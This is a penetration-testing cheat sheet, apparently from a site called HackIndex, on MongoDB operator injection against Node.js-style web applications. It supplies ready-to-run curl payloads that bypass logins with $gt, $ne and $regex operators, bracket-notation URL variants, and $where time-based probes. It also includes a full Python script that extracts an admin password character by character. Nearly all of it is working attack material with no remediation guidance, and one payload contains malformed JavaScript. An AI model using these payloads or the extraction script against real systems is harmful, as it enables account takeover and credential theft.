Skip to content
HackIndex logo

HackIndex

MongoDB Operator Injection

3 min read Mar 28, 2026

MongoDB operator injection exploits web applications that pass unsanitized user input directly into MongoDB queries. Unlike SQL injection, the attack injects MongoDB query operators rather than SQL syntax. The most common outcomes are authentication bypass and data extraction. This attack targets the web application layer — not the MongoDB service directly — and requires the application to accept JSON or query parameters that reach a MongoDB find or aggregate operation without sanitization.

Identify Injectable Endpoints

Look for login forms, search endpoints, and API routes that accept JSON bodies or query parameters. Applications using Express/Node.js with Mongoose or the native driver are common targets. Test whether the endpoint accepts operator syntax by injecting a simple object:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$gt":""}}' | grep -iE 'welcome|dashboard|token|success'
{"token":"eyJhbGciOiJIUzI1NiJ9...","user":"admin"}

A successful login response confirms operator injection. The {"$gt":""} payload makes the password condition always true — any password is greater than an empty string — so authentication is bypassed regardless of what password the admin account has.

Authentication Bypass Operators

Test multiple operators — different applications sanitize some but miss others:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$ne":"wrongpassword"}}' | grep -iE 'token|welcome|success'
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":{"$gt":""},"password":{"$gt":""}}' | grep -iE 'token|welcome|success'
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":".*"}}' | grep -iE 'token|welcome|success'

URL Parameter Injection

When the application accepts query parameters rather than a JSON body, inject operators using bracket notation:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/api/login?username=admin&password[$gt]=" | grep -iE 'token|welcome|success'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/api/login?username=admin&password[$ne]=wrongpassword" | grep -iE 'token|welcome|success'

$where JavaScript Injection

When server-side JavaScript is enabled, $where executes arbitrary JavaScript in query context. This enables time-based blind data extraction. Confirm JS is enabled first through dangerous configuration checks:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/search -H 'Content-Type: application/json' -d '{"query":{"$where":"sleep(3000)||1"}}' && echo 'delayed'
delayed

A 3-second delay confirms $where is executing JavaScript. Use this for time-based blind data extraction by conditioning the sleep on character comparisons:

┌──(kali㉿kali)-[~]
└─$ time curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$where":"this.password[0]==$97?sleep(2000):0"}}'
real    0m2.134s

ASCII 97 is 'a'. A 2-second delay confirms the admin password starts with 'a'. Increment through ASCII values to extract the full password character by character. This is slow — automate with a script:

import requests, time, string

TARGET = f'http://$TARGET_IP:$PORT/api/login'
result = ''

for pos in range(0, 20):
    found = False
    for char in string.printable:
        payload = {
            "username": "admin",
            "password": {"$where": f"this.password[{pos}]=='{char}'?sleep(2000):0"}
        }
        start = time.time()
        try:
            requests.post(TARGET, json=payload, timeout=3)
        except requests.Timeout:
            pass
        elapsed = time.time() - start
        if elapsed >= 2:
            result += char
            print(f'Password so far: {result}')
            found = True
            break
    if not found:
        break

print(f'Extracted password: {result}')

$regex for Blind Data Extraction

Without $where, use $regex for boolean-based blind extraction. A match returns a different response than a non-match:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":"^a"}}' | wc -c
312
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":"^b"}}' | wc -c
42

The larger response for the ^a regex confirms the password starts with 'a'. Extend the regex pattern one character at a time to extract the full value: ^a, ^ad, ^adm, and so on.

References